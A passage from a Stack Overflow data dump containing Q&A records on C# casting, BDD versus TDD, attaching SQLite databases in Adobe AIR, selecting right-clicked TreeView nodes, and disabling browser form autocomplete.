The former will throw an exception if the source type can't be cast to the target type. The latter will result in sc2 being a null reference, but no exception. [Edit] My original answer is certainly the most pronounced difference, but as Eric Lippert [points out](http://blogs.msdn.com/ericlippert/archive/2009/10/08/what-s-the-difference-between-as-and-cast-operators.aspx), it's not the only one. Other differences include: * You can't use the 'as' operator to cast to a type that doesn't accept 'null' as a value * You can't use 'as' to *convert* things, like numbers to a different representation (float to int, for example). And finally, using 'as' vs. the cast operator, you're also saying "I'm not sure if this will succeed."
2,509
<p>Test Driven Development has been the rage in the .NET community for the last few years. Recently, I have heard grumblings in the ALT.NET community about BDD. What is it? What makes it different from TDD?</p>
[ { "answer_id": 2515, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 2, "selected": false, "text": "<p>Behaviour Driven Development seems to focus more on the interaction and communication between Developers and also between Developers and testers.</p>\n\n<p>The Wikipedia Article has an explanation:</p>\n\n<p><a href=\"http://en.wikipedia.org/wiki/Behavior_Driven_Development\" rel=\"nofollow noreferrer\">Behavior-driven development</a></p>\n\n<p>Not practicing BDD myself though.</p>\n" }, { "answer_id": 2520, "author": "palehorse", "author_id": 312, "author_profile": "https://Stackoverflow.com/users/312", "pm_score": 2, "selected": false, "text": "<p>It seems to me that BDD is a broader scope. It almost implies TDD is used, that BDD is the encompassing methodology that gathers the information and requirements for using, among other things, TDD practices to ensure rapid feedback.</p>\n" }, { "answer_id": 2548, "author": "Christian Lescuyer", "author_id": 341, "author_profile": "https://Stackoverflow.com/users/341", "pm_score": 8, "selected": true, "text": "<p>I understand BDD to be more about <strong>specification</strong> than <strong>testing</strong>. It is linked to Domain Driven Design (don't you love these *DD acronyms?). </p>\n\n<p>It is linked with a certain way to write user stories, including high-level tests. An example by <a href=\"http://tomtenthij.nl/2008/1/25/rspec-plain-text-story-runner-on-a-fresh-rails-app\" rel=\"noreferrer\">Tom ten Thij</a>:</p>\n\n<pre><code>Story: User logging in\n As a user\n I want to login with my details\n So that I can get access to the site\n\nScenario: User uses wrong password\n\n Given a username 'jdoe'\n And a password 'letmein'\n\n When the user logs in with username and password\n\n Then the login form should be shown again\n</code></pre>\n\n<p>(In his article, Tom goes on to directly execute this test specification in Ruby.)</p>\n\n<p>The pope of BDD is <a href=\"http://dannorth.net/\" rel=\"noreferrer\">Dan North</a>. You'll find a great introduction in his <a href=\"http://dannorth.net/introducing-bdd\" rel=\"noreferrer\">Introducing BDD</a> article.</p>\n\n<p>You will find a comparison of BDD and TDD in this <a href=\"http://video.google.com/videoplay?docid=8135690990081075324\" rel=\"noreferrer\">video</a>. Also an opinion about BDD as \"TDD done right\" by <a href=\"http://codebetter.com/blogs/jeremy.miller/archive/2007/09/06/bdd-tdd-and-the-other-double-d-s.aspx\" rel=\"noreferrer\">Jeremy D. Miller</a></p>\n\n<p><strong>March 25, 2013 update</strong></p>\n\n<p>The video above has been missing for a while. Here is a recent one by Llewellyn Falco, <a href=\"https://www.youtube.com/watch?v=mT8QDNNhExg\" rel=\"noreferrer\">BDD vs TDD (explained)</a>. I find his explanation clear and to the point.</p>\n" }, { "answer_id": 31280, "author": "Thomas Eyde", "author_id": 3282, "author_profile": "https://Stackoverflow.com/users/3282", "pm_score": 3, "selected": false, "text": "<p>I have experimented a little with the BDD approach and my premature conclusion is that BDD is well suited to use case implementation, but not on the underlying details. TDD still rock on that level.</p>\n\n<p>BDD is also used as a communication tool. The goal is to write executable specifications which can be understood by the domain experts. </p>\n" }, { "answer_id": 50381, "author": "Juha Pohjalainen", "author_id": 5240, "author_profile": "https://Stackoverflow.com/users/5240", "pm_score": 4, "selected": false, "text": "<p>To me primary difference between BDD and TDD is focus and wording. And words are important for communicating your intent.</p>\n\n<p>TDD directs focus on testing. And since in \"old waterfall world\" tests come after implementation, then this mindset leads to wrong understanding and behaviour.</p>\n\n<p>BDD directs focus on behaviour and specification, and so waterfall minds are distracted. So BDD is more easily understood as design practice and not as testing practice.</p>\n" }, { "answer_id": 54520, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<p>There seem to be two types of BDD.</p>\n\n<p>The first is the original style that Dan North discusses and which caused the creation of the xBehave style frameworks. To me this style is primarily applicable for acceptance testing or specifications against domain objects.</p>\n\n<p>The second style is what Dave Astels popularised and which, to me, is a new form of TDD which has some serious benefits. It focuses on behavior rather than testing and also small test classes, trying to get to the point where you basically have one line per specification (test) method. This style suits all levels of testing and can be done using any existing unit testing framework though newer frameworks (xSpec style) help focus one the behavior rather than testing.</p>\n\n<p>There is also a BDD group which you might find useful:</p>\n\n<p><a href=\"http://groups.google.com/group/behaviordrivendevelopment/\" rel=\"noreferrer\">http://groups.google.com/group/behaviordrivendevelopment/</a></p>\n" }, { "answer_id": 905283, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>With my latest knowledge in BDD when compared to TDD, BDD focuses on specifying what will happen next, whereas TDD focuses on setting up a set of conditions and then looking at the output.</p>\n" }, { "answer_id": 26232155, "author": "Mihai", "author_id": 1700417, "author_profile": "https://Stackoverflow.com/users/1700417", "pm_score": 1, "selected": false, "text": "<p>There is no difference between TDD and BDD. except you can read your tests better, and you can use them as requirements. If you write your requirements with the same words as you write BDD tests then you can come from your client with some of your tests defined ready to write code.</p>\n" }, { "answer_id": 30518187, "author": "phil v", "author_id": 2324060, "author_profile": "https://Stackoverflow.com/users/2324060", "pm_score": 2, "selected": false, "text": "<p>Consider the primary benefit of TDD to be design. It should be called Test Driven Design. BDD is a subset of TDD, call it Behaviour Driven Design.</p>\n<p>Now consider a popular implementation of TDD - Unit Testing. The Units in Unit Testing are typically one bit of logic that is the smallest unit of work you can make.</p>\n<p>When you put those Units together in a functional way to describe the desired Behaviour to the machines, you need to understand the Behaviour you are describing to the machine. Behaviour Driven Design focuses on verifying the implementers' understanding of the Use Cases/Requirements/Whatever and verifies the implementation of each feature. BDD and TDD in general serves the important purpose of informing design and the second purpose of verifying the correctness of the implementation especially when it changes. BDD done right involves biz and dev (and qa), whereas Unit Testing (possibly incorrectly viewed as TDD rather than one type of TDD) is typically done in the dev silo.</p>\n<p>I would add that BDD tests serve as living requirements.</p>\n" }, { "answer_id": 34846654, "author": "Snehal Masne", "author_id": 1792003, "author_profile": "https://Stackoverflow.com/users/1792003", "pm_score": 0, "selected": false, "text": "<p>Here's the quick snapshot:</p>\n\n<blockquote>\n <ul>\n <li><p>TDD is just the process of testing code before writing it!</p></li>\n <li><p>DDD is the process of being informed about the Domain before each cycle of touching code!</p></li>\n <li><p>BDD is an implementation of TDD which brings in some aspects of DDD!</p></li>\n </ul>\n</blockquote>\n" }, { "answer_id": 42190310, "author": "thion", "author_id": 5790233, "author_profile": "https://Stackoverflow.com/users/5790233", "pm_score": 3, "selected": false, "text": "<p><strong>Test-Driven Development</strong> is a test-first software development methodology, which means that it requires writing test code before writing the actual code that will be tested. In Kent Beck’s words:</p>\n<blockquote>\n<p>The style here is to write a few lines of code, then a test that\nshould run, or even better, to write a test that won't run, then write\nthe code that will make it run.</p>\n</blockquote>\n<p>After figuring out how to write one small piece of code, now, instead of just coding on, we want to get immediate feedback and practice &quot;code a little, test a little, code a little, test a little.&quot; So we immediately write a test for it.</p>\n<p>So TDD is a low-level, technical methodology that programmers use to produce clean code that works.</p>\n<p><strong>Behaviour-Driven Development</strong> is a methodology that was created based on TDD, but evolved into a process that doesn’t concern only programmers and testers, but instead deals with the entire team and all important stakeholders, technical and non-technical. BDD started out of a few simple questions that TDD doesn’t answer well: how much tests should I write? What should I actually test—and what shouldn’t I? Which of the tests I write will be in fact important to the business or to the overall quality of the product, and which are just my over-engineering?</p>\n<p>As you can see, such questions require collaboration between technology and business. Business stakeholders and domain experts often can tell engineers what kind of tests sound like they would be useful—but only if the tests are high-level tests that deal with important business aspects. BDD calls such business-like tests “examples,” as in “tell me an example of how this feature should behave correctly,” and reserves the word “test” for low-level, technical checks such as data validation or testing API integrations. The important part is that while <em>tests</em> can only be created by programmers and testers, <em>examples</em> can be collected and analysed by the entire delivery team—by designers, analysts, and so on.</p>\n<p>In a sentence, one of the best definitions of BDD I have <a href=\"https://www.infoq.com/presentations/bdd-introduction\" rel=\"nofollow noreferrer\">found</a> so far is that BDD is about “having conversations with domain experts and using examples to gain a shared understanding of the desired behaviour and discover unknowns.” The discovery part is very important. As the delivery team collects more examples, they start to understand the business domain more and more and thus they reduce their uncertainty about some aspects of the product they have to deal with. As uncertainty decreases, creativity and autonomy of the delivery team increase. For instance, they can now start suggesting their own examples that the business users didn’t think were possible because of their lack of tech expertise.</p>\n<p>Now, having conversations with the business and domain experts sounds great, but we all know how that often ends up in practice. I started my journey with tech as a programmer. As programmers, we are taught to <em>write code</em>—algorithms, design patterns, abstractions. Or, if you are a designer, you are taught to <em>design</em>—organize information and create beautiful interfaces. But when we get our entry-level jobs, our employers expect us to &quot;deliver value to the clients.&quot; And among those clients can be, for example... a bank. But I could know next to nothing about banking—except how to efficiently decrease my account balance. So I would have to somehow translate what is expected of me into code... I would have to build a bridge between banking and my technical expertise if I want to deliver any value. BDD helps me build such a bridge on a stable foundation of fluid communication between the delivery team and the domain experts.</p>\n<p><strong>Learn more</strong></p>\n<p>If you want to read more about BDD, I wrote a book on the subject. <strong><a href=\"https://www.manning.com/books/writing-great-specifications?a_aid=sbeug\" rel=\"nofollow noreferrer\">“Writing Great Specifications”</a></strong> explores the art of analysing requirements and will help you learn how to build a great BDD process and use examples as a core part of that process. The book talks about the ubiquitous language, collecting examples, and creating so-called executable specifications (automated tests) out of the examples—techniques that help BDD teams deliver great software on time and on budget.</p>\n<p>If you are interested in buying “Writing Great Specifications,” <strong>you can save 39%</strong> with the promo code <strong>39nicieja2</strong> :)</p>\n" }, { "answer_id": 57639038, "author": "saurabh singh", "author_id": 10863282, "author_profile": "https://Stackoverflow.com/users/10863282", "pm_score": 1, "selected": false, "text": "<p>In short there is major difference between TDD and BDD \nIn TDD we are majorly focused on Test data\nIn BDD our main focus is on behavior of the project so that any non - programming person can understand the line of code on the behalf of the title of that method</p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2509", "https://Stackoverflow.com", "https://Stackoverflow.com/users/303/" ]
Test Driven Development has been the rage in the .NET community for the last few years. Recently, I have heard grumblings in the ALT.NET community about BDD. What is it? What makes it different from TDD?
I understand BDD to be more about **specification** than **testing**. It is linked to Domain Driven Design (don't you love these \*DD acronyms?). It is linked with a certain way to write user stories, including high-level tests. An example by [Tom ten Thij](http://tomtenthij.nl/2008/1/25/rspec-plain-text-story-runner-on-a-fresh-rails-app): ``` Story: User logging in As a user I want to login with my details So that I can get access to the site Scenario: User uses wrong password Given a username 'jdoe' And a password 'letmein' When the user logs in with username and password Then the login form should be shown again ``` (In his article, Tom goes on to directly execute this test specification in Ruby.) The pope of BDD is [Dan North](http://dannorth.net/). You'll find a great introduction in his [Introducing BDD](http://dannorth.net/introducing-bdd) article. You will find a comparison of BDD and TDD in this [video](http://video.google.com/videoplay?docid=8135690990081075324). Also an opinion about BDD as "TDD done right" by [Jeremy D. Miller](http://codebetter.com/blogs/jeremy.miller/archive/2007/09/06/bdd-tdd-and-the-other-double-d-s.aspx) **March 25, 2013 update** The video above has been missing for a while. Here is a recent one by Llewellyn Falco, [BDD vs TDD (explained)](https://www.youtube.com/watch?v=mT8QDNNhExg). I find his explanation clear and to the point.
2,518
<p>I have 2 SQLite databases, one downloaded from a server (<code>server.db</code>), and one used as storage on the client (<code>client.db</code>). I need to perform various sync queries on the client database, using data from the server database.</p> <p>For example, I want to delete all rows in the <code>client.db tRole</code> table, and repopulate with all rows in the <code>server.db tRole</code> table.</p> <p>Another example, I want to delete all rows in the <code>client.db tFile</code> table where the <code>fileID</code> is not in the <code>server.db tFile</code> table.</p> <p>In SQL Server you can just prefix the table with the name of the database. Is there anyway to do this in SQLite using Adobe Air?</p>
[ { "answer_id": 8783, "author": "Theo", "author_id": 1109, "author_profile": "https://Stackoverflow.com/users/1109", "pm_score": 2, "selected": false, "text": "<p>It's possible to open multiple databases at once in SQLite, but it's doubtful if can be done when working from Flex/AIR. In the command line client you run <code>ATTACH DATABASE path/to/other.db AS otherDb</code> and then you can refer to tables in that database as <code>otherDb.tableName</code> just as in MySQL or SQL Server.</p>\n<blockquote>\n<p>Tables in an attached database can be referred to using the syntax database-name.table-name.</p>\n<p><a href=\"http://www.sqlite.org/lang_attach.html\" rel=\"nofollow noreferrer\">ATTACH DATABASE documentation at sqlite.org</a></p>\n</blockquote>\n" }, { "answer_id": 10020, "author": "Theo", "author_id": 1109, "author_profile": "https://Stackoverflow.com/users/1109", "pm_score": 4, "selected": true, "text": "<p>I just looked at the AIR SQL API, and there's an <code>attach</code> method on <code>SQLConnection</code> it looks exactly what you need.</p>\n<p>I haven't tested this, but according to the documentation it should work:</p>\n<pre><code>var connection : SQLConnection = new SQLConnection();\n\nconnection.open(firstDbFile);\nconnection.attach(secondDbFile, &quot;otherDb&quot;);\n\nvar statement : SQLStatement = new SQLStatement();\n\nstatement.connection = connection;\nstatement.text = &quot;INSERT INTO main.myTable SELECT * FROM otherDb.myTable&quot;;\nstatement.execute();\n</code></pre>\n<p>There may be errors in that code snippet, I haven't worked much with the AIR SQL API lately. Notice that the tables of the database opened with <code>open</code> are available using <code>main.tableName</code>, any attached database can be given any name at all (<code>otherDb</code> in the example above).</p>\n" }, { "answer_id": 368983, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>this code can be work,it is write of me:</p>\n\n<pre><code>package lib.tools\n\nimport flash.utils.ByteArray;\nimport flash.data.SQLConnection;\nimport flash.data.SQLStatement;\nimport flash.data.SQLResult;\nimport flash.data.SQLMode; \nimport flash.events.SQLErrorEvent;\nimport flash.events.SQLEvent;\nimport flash.filesystem.File;\nimport mx.core.UIComponent;\nimport flash.data.SQLConnection;\n\npublic class getConn {\n public var Conn:SQLConnection;\n\n public function getConn(database:Array) { \n Conn = new SQLConnection();\n var Key:ByteArray = new ByteArray();\n Key.writeUTFBytes(\"Some16ByteString\"); \n Conn.addEventListener(SQLErrorEvent.ERROR, createError);\n var dbFile:File = File.applicationDirectory.resolvePath(database[0]);\n Conn.open(dbFile);\n if(database.length &gt; 1) {\n for(var i:Number = 1; i &lt; database.length; i++) {\n var DBname:String = database[i];\n Conn.attach(DBname.split(\"\\.\")[0], File.applicationDirectory.resolvePath(DBname));\n }\n }\n Conn.open(dbFile, SQLMode.CREATE, false, 1024, Key); \n }\n\n private function createError(event:SQLErrorEvent):void {\n trace(\"Error code:\", event.error.details);\n trace(\"Details:\", event.error.message);\n }\n\n public function Rs(sql:Array):Object {\n var stmt:SQLStatement = new SQLStatement();\n Conn.begin();\n stmt.sqlConnection = Conn;\n try {\n for(var i:String in sql) { \n stmt.text = sql[i]; \n stmt.execute();\n }\n Conn.commit();\n } catch(error:SQLErrorEvent) {\n createError(error);\n Conn.rollback();\n };\n var result:Object =stmt.getResult();\n return result;\n }\n}\n</code></pre>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2518", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26/" ]
I have 2 SQLite databases, one downloaded from a server (`server.db`), and one used as storage on the client (`client.db`). I need to perform various sync queries on the client database, using data from the server database. For example, I want to delete all rows in the `client.db tRole` table, and repopulate with all rows in the `server.db tRole` table. Another example, I want to delete all rows in the `client.db tFile` table where the `fileID` is not in the `server.db tFile` table. In SQL Server you can just prefix the table with the name of the database. Is there anyway to do this in SQLite using Adobe Air?
I just looked at the AIR SQL API, and there's an `attach` method on `SQLConnection` it looks exactly what you need. I haven't tested this, but according to the documentation it should work: ``` var connection : SQLConnection = new SQLConnection(); connection.open(firstDbFile); connection.attach(secondDbFile, "otherDb"); var statement : SQLStatement = new SQLStatement(); statement.connection = connection; statement.text = "INSERT INTO main.myTable SELECT * FROM otherDb.myTable"; statement.execute(); ``` There may be errors in that code snippet, I haven't worked much with the AIR SQL API lately. Notice that the tables of the database opened with `open` are available using `main.tableName`, any attached database can be given any name at all (`otherDb` in the example above).
2,527
<p>How can I find out which node in a tree list the context menu has been activated? For instance right-clicking a node and selecting an option from the menu. </p> <p>I can't use the TreeViews' <code>SelectedNode</code> property because the node is only been right-clicked and not selected.</p>
[ { "answer_id": 2546, "author": "Jonesinator", "author_id": 152, "author_profile": "https://Stackoverflow.com/users/152", "pm_score": 8, "selected": true, "text": "<p>You can add a mouse click event to the TreeView, then select the correct node using GetNodeAt given the mouse coordinates provided by the MouseEventArgs.</p>\n\n<pre><code>void treeView1MouseUp(object sender, MouseEventArgs e)\n{\n if(e.Button == MouseButtons.Right)\n {\n // Select the clicked node\n treeView1.SelectedNode = treeView1.GetNodeAt(e.X, e.Y);\n\n if(treeView1.SelectedNode != null)\n {\n myContextMenuStrip.Show(treeView1, e.Location);\n }\n }\n}\n</code></pre>\n" }, { "answer_id": 5964, "author": "ICR", "author_id": 214, "author_profile": "https://Stackoverflow.com/users/214", "pm_score": 0, "selected": false, "text": "<p>If you want the context menu to be dependent on the selected item you're best move I think is to use Jonesinator's code to select the clicked item. Your context menu content can then be dependent on the selected item.</p>\n\n<p>Selecting the item first as opposed to just using it for the context menu gives a few advantages. The first is that the user has a visual indication as to which he clicked and thus which item the menu is associated with. The second is that this way it's a hell of a lot easier to keep compatible with other methods of invoking the context menu (e.g. keyboard shortcuts).</p>\n" }, { "answer_id": 360942, "author": "Marcus Erickson", "author_id": 38373, "author_profile": "https://Stackoverflow.com/users/38373", "pm_score": 4, "selected": false, "text": "<p>I find the standard windows treeview behavior selection behavior to be quite annoying. For example, if you are using Explorer and right click on a node and hit Properties, it highlights the node and shows the properties dialog for the node you clicked on. But when you return from the dialog, the highlighted node was the node previously selected/highlighted before you did the right-click. I find this causes usability problems because I am forever being confused on whether I acted on the right node.</p>\n\n<p>So in many of our GUIs, we change the selected tree node on a right-click so that there is no confusion. This may not be the same as a standard iwndos app like Explorer (and I tend to strongly model our GUI behavior after standard window apps for usabiltiy reasons), I believe that this one exception case results in far more usable trees.</p>\n\n<p>Here is some code that changes the selection during the right click:</p>\n\n<pre><code> private void tree_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e)\n {\n // only need to change selected note during right-click - otherwise tree does\n // fine by itself\n if ( e.Button == MouseButtons.Right )\n { \n Point pt = new Point( e.X, e.Y );\n tree.PointToClient( pt );\n\n TreeNode Node = tree.GetNodeAt( pt );\n if ( Node != null )\n {\n if ( Node.Bounds.Contains( pt ) )\n {\n tree.SelectedNode = Node;\n ResetContextMenu();\n contextMenuTree.Show( tree, pt );\n }\n }\n }\n }\n</code></pre>\n" }, { "answer_id": 4393244, "author": "deej", "author_id": 311445, "author_profile": "https://Stackoverflow.com/users/311445", "pm_score": 5, "selected": false, "text": "<p>Here is my solution. Put this line into NodeMouseClick event of the TreeView:</p>\n\n<pre><code> ((TreeView)sender).SelectedNode = e.Node;\n</code></pre>\n" }, { "answer_id": 13502892, "author": "Trevor Elliott", "author_id": 852555, "author_profile": "https://Stackoverflow.com/users/852555", "pm_score": 2, "selected": false, "text": "<p>Similar to Marcus' answer, this was the solution I found worked for me:</p>\n\n<pre><code>private void treeView_MouseClick(object sender, MouseEventArgs e)\n{\n if (e.Button == MouseButtons.Right)\n {\n treeView.SelectedNode = treeView.GetNodeAt(e.Location);\n }\n}\n</code></pre>\n\n<p>You need not show the context menu yourself if you set it to each individual node like so:</p>\n\n<pre><code>TreeNode node = new TreeNode();\nnode.ContextMenuStrip = contextMenu;\n</code></pre>\n\n<p>Then inside the ContextMenu's Opening event, the TreeView.SelectedNode property will reflect the correct node.</p>\n" }, { "answer_id": 14128111, "author": "Beta Carotin", "author_id": 1593297, "author_profile": "https://Stackoverflow.com/users/1593297", "pm_score": 4, "selected": false, "text": "<p>Reviving this question because I find this to be a much better solution.\nI use the <code>NodeMouseClick</code> event instead.</p>\n\n<pre><code>void treeview_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e)\n{\n if( e.Button == MouseButtons.Right )\n {\n tree.SelectedNode = e.Node;\n }\n}\n</code></pre>\n" }, { "answer_id": 23943876, "author": "Ricky Manwell", "author_id": 3689347, "author_profile": "https://Stackoverflow.com/users/3689347", "pm_score": 0, "selected": false, "text": "<p>Here is how I do it.</p>\n\n<pre><code>private void treeView_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e)\n{\n if (e.Button == System.Windows.Forms.MouseButtons.Right)\n e.Node.TreeView.SelectedNode = e.Node;\n}\n</code></pre>\n" }, { "answer_id": 41003526, "author": "George", "author_id": 1876668, "author_profile": "https://Stackoverflow.com/users/1876668", "pm_score": 2, "selected": false, "text": "<p>This is a very old question, but I still found it useful. I am using a combination of some of the answers above, because I don't want the right-clicked node to become the selectedNode. If I have the root node selected and want to delete one of it's children, I don't want the child selected when I delete it (I am also doing some work on the selectedNode that I don't want to happen on a right-click). Here is my contribution:</p>\n\n<pre><code>// Global Private Variable to hold right-clicked Node\nprivate TreeNode _currentNode = new TreeNode();\n\n// Set Global Variable to the Node that was right-clicked\nprivate void treeView_NodeMouseClick(object sender, TreeNodeMouseClickEventArgs e)\n{\n if (e.Button == System.Windows.Forms.MouseButtons.Right)\n _currentNode = e.Node;\n}\n\n// Do something when the Menu Item is clicked using the _currentNode\nprivate void toolStripMenuItem_Clicked(object sender, EventArgs e)\n{\n if (_currentNode != null)\n MessageBox.Show(_currentNode.Text);\n}\n</code></pre>\n" }, { "answer_id": 41109031, "author": "sparkyShorts", "author_id": 2335488, "author_profile": "https://Stackoverflow.com/users/2335488", "pm_score": 0, "selected": false, "text": "<p>Another option you could run with is to have a global variable that has the selected node. You would just need to use the <code>TreeNodeMouseClickEventArgs</code>.</p>\n\n<pre><code>public void treeNode_Click(object sender, TreeNodeMouseClickEventArgs e)\n{\n _globalVariable = e.Node;\n}\n</code></pre>\n\n<p>Now you have access to that node and it's properties. </p>\n" }, { "answer_id": 61949562, "author": "AeonOfTime", "author_id": 2298192, "author_profile": "https://Stackoverflow.com/users/2298192", "pm_score": 0, "selected": false, "text": "<p>I would like to propose an alternative to using the click events, using the context menu's <code>Opened</code> event:</p>\n\n<pre class=\"lang-cs prettyprint-override\"><code>private void Handle_ContextMenu_Opened(object sender, EventArgs e)\n{\n TreeViewHitTestInfo info = treeview.HitTest(treeview.PointToClient(Cursor.Position));\n TreeNode contextNode;\n\n // was there a node where the context menu was opened?\n if (info != null &amp;&amp; info.Node != null)\n {\n contextNode = info.Node;\n }\n\n // Set the enabled states of the context menu elements\n menuEdit.Enabled = contextNode != null;\n menuDelete.Enabled = contextNode != null;\n}\n</code></pre>\n\n<p>This has the following advantages that I can see:</p>\n\n<ul>\n<li>It does not change the selected node</li>\n<li>No separate event handler needed to store the target node instance</li>\n<li>Can disable menu items if the user right-clicks empty space in the TreeView</li>\n</ul>\n\n<p>Note: if you worry that the user may have already moved the mouse by the time the menu is opened, it is possible to use the <code>Opening</code> event instead. </p>\n" } ]
2008/08/05
[ "https://Stackoverflow.com/questions/2527", "https://Stackoverflow.com", "https://Stackoverflow.com/users/428/" ]
How can I find out which node in a tree list the context menu has been activated? For instance right-clicking a node and selecting an option from the menu. I can't use the TreeViews' `SelectedNode` property because the node is only been right-clicked and not selected.
You can add a mouse click event to the TreeView, then select the correct node using GetNodeAt given the mouse coordinates provided by the MouseEventArgs. ``` void treeView1MouseUp(object sender, MouseEventArgs e) { if(e.Button == MouseButtons.Right) { // Select the clicked node treeView1.SelectedNode = treeView1.GetNodeAt(e.X, e.Y); if(treeView1.SelectedNode != null) { myContextMenuStrip.Show(treeView1, e.Location); } } } ```
2,530
<p>How do you disable autocomplete in the major browsers for a specific input (or form field)?</p>
[ { "answer_id": 2531, "author": "nlucaroni", "author_id": 157, "author_profile": "https://Stackoverflow.com/users/157", "pm_score": 12, "selected": true, "text": "<p>Firefox 30 ignores <code>autocomplete=&quot;off&quot;</code> for passwords, opting to prompt the user instead whether the password should be stored on the client. Note the following <a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=956906#c100\" rel=\"noreferrer\">commentary</a> from May 5, 2014:</p>\n<blockquote>\n<ul>\n<li>The password manager <em>always</em> prompts if it wants to save a password. Passwords are not saved without permission from the user.</li>\n<li>We are the third browser to implement this change, after IE and Chrome.</li>\n</ul>\n</blockquote>\n<p>According to the <a href=\"https://developer.mozilla.org/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion\" rel=\"noreferrer\">Mozilla Developer Network</a> documentation, the Boolean form element attribute <code>autocomplete</code> prevents form data from being cached in older browsers.</p>\n<pre><code>&lt;input type=&quot;text&quot; name=&quot;foo&quot; autocomplete=&quot;off&quot; /&gt;\n</code></pre>\n" }, { "answer_id": 2536, "author": "Teifion", "author_id": 1384652, "author_profile": "https://Stackoverflow.com/users/1384652", "pm_score": 4, "selected": false, "text": "<p>Use a non-standard name and id for the fields, so rather than &quot;name&quot; have &quot;name_&quot;. Browsers will then not see it as being the name field.</p>\n<p>The best part about it is that you can do this to some, but not all, fields and it will autocomplete some, but not all fields.</p>\n" }, { "answer_id": 2537, "author": "brendan", "author_id": 225, "author_profile": "https://Stackoverflow.com/users/225", "pm_score": 7, "selected": false, "text": "<pre><code>&lt;form name=&quot;form1&quot; id=&quot;form1&quot; method=&quot;post&quot;\n autocomplete=&quot;off&quot; action=&quot;http://www.example.com/form.cgi&quot;&gt;\n</code></pre>\n<p>This will work in Internet Explorer and Mozilla Firefox. The downside is that it is not XHTML standard.</p>\n" }, { "answer_id": 2542, "author": "EndangeredMassa", "author_id": 106, "author_profile": "https://Stackoverflow.com/users/106", "pm_score": 5, "selected": false, "text": "<p>Just set <code>autocomplete=\"off\"</code>. There is a very good reason for doing this: You want to provide your own autocomplete functionality!</p>\n" }, { "answer_id": 50484, "author": "Antti Kissaniemi", "author_id": 2948, "author_profile": "https://Stackoverflow.com/users/2948", "pm_score": 5, "selected": false, "text": "<p>On a related or actually, on the completely opposite note - </p>\n\n<blockquote>\n <p>\"If you're the user of the aforementioned form and want to re-enable\n the autocomplete functionality, use the 'remember password'\n bookmarklet from this <a href=\"https://www.squarefree.com/bookmarklets/forms.html\" rel=\"noreferrer\">bookmarklets\n page</a>. It removes\n all <code>autocomplete=\"off\"</code> attributes from all forms on the page. Keep\n fighting the good fight!\"</p>\n</blockquote>\n" }, { "answer_id": 73654, "author": "Jon Adams", "author_id": 2291, "author_profile": "https://Stackoverflow.com/users/2291", "pm_score": 5, "selected": false, "text": "<p>We did actually use <em>sasb</em>'s idea for one site.</p>\n<p>It was a medical software web app to run a doctor's office. However, many of our clients were surgeons who used lots of different workstations, including semi-public terminals. So, they wanted to make sure that a doctor who doesn't understand the implication of auto-saved passwords or isn't paying attention can't accidentally leave their login information easily accessible.</p>\n<p>Of course, this was before the idea of private browsing that is starting to be featured in Internet Explorer 8, Firefox 3.1, etc. Even so, many physicians are forced to use old school browsers in hospitals with IT that won't change.</p>\n<p>So, we had the login page generate random field names that would only work for that post. Yes, it's less convenient, but it's just hitting the user over the head about not storing login information on public terminals.</p>\n" }, { "answer_id": 218453, "author": "Ben Combee", "author_id": 1323, "author_profile": "https://Stackoverflow.com/users/1323", "pm_score": 9, "selected": false, "text": "<p>In addition to setting <code>autocomplete=off</code>, you could also have your form field names be randomized by the code that generates the page, perhaps by adding some session-specific string to the end of the names.</p>\n<p>When the form is submitted, you can strip that part off before processing them on the server-side. This would prevent the web browser from finding context for your field and also might help prevent XSRF attacks because an attacker wouldn't be able to guess the field names for a form submission.</p>\n" }, { "answer_id": 474611, "author": "Sam Hasler", "author_id": 2541, "author_profile": "https://Stackoverflow.com/users/2541", "pm_score": 6, "selected": false, "text": "<p>As others have said, the answer is <code>autocomplete=&quot;off&quot;</code>.</p>\n<p>However, I think it's worth stating <strong>why</strong> it's a good idea to use this in certain cases as some answers to this and <a href=\"https://stackoverflow.com/questions/471800/how-i-do-to-force-the-browser-to-not-store-the-html-form-field-data\">duplicate questions</a> have suggested it's better not to turn it off.</p>\n<p>Stopping browsers storing credit card numbers shouldn't be left to users. Too many users won't even realize it's a problem.</p>\n<p>It's particularly important to turn it off on fields for credit card security codes. As <a href=\"http://www.mollerus.net/tom/blog/2007/05/my_best_practices_for_online_credit_card_security.html\" rel=\"nofollow noreferrer\">this page</a> states:</p>\n<blockquote>\n<p>&quot;Never store the security code ... its value depends on the presumption that the only way to supply it is to read it from the physical credit card, proving that the person supplying it actually holds the card.&quot;</p>\n</blockquote>\n<p>The problem is, if it's a public computer (cyber cafe, library, etc.), it's then easy for other users to steal your card details, and even on your own machine a malicious website could <a href=\"http://webreflection.blogspot.com/2008/09/security-basis-and-internet-explorer.html\" rel=\"nofollow noreferrer\">steal autocomplete data</a>.</p>\n" }, { "answer_id": 4423265, "author": "cherouvim", "author_id": 72478, "author_profile": "https://Stackoverflow.com/users/72478", "pm_score": 4, "selected": false, "text": "<p>In order to avoid the invalid XHTML, you can set this attribute using JavaScript. An example using jQuery:</p>\n<pre><code>&lt;input type=&quot;text&quot; class=&quot;noAutoComplete&quot; ... /&gt;\n\n$(function() {\n $('.noAutoComplete').attr('autocomplete', 'off');\n});\n</code></pre>\n<p>The problem is that users without JavaScript will get the autocomplete functionality.</p>\n" }, { "answer_id": 4965846, "author": "Hash", "author_id": 360048, "author_profile": "https://Stackoverflow.com/users/360048", "pm_score": 4, "selected": false, "text": "<p>Adding the </p>\n\n<p><code>autocomplete=\"off\"</code> </p>\n\n<p>to the form tag will disable the browser autocomplete (what was previously typed into that field) from all <code>input</code> fields within that particular form.</p>\n\n<p>Tested on:</p>\n\n<ul>\n<li>Firefox 3.5, 4 BETA 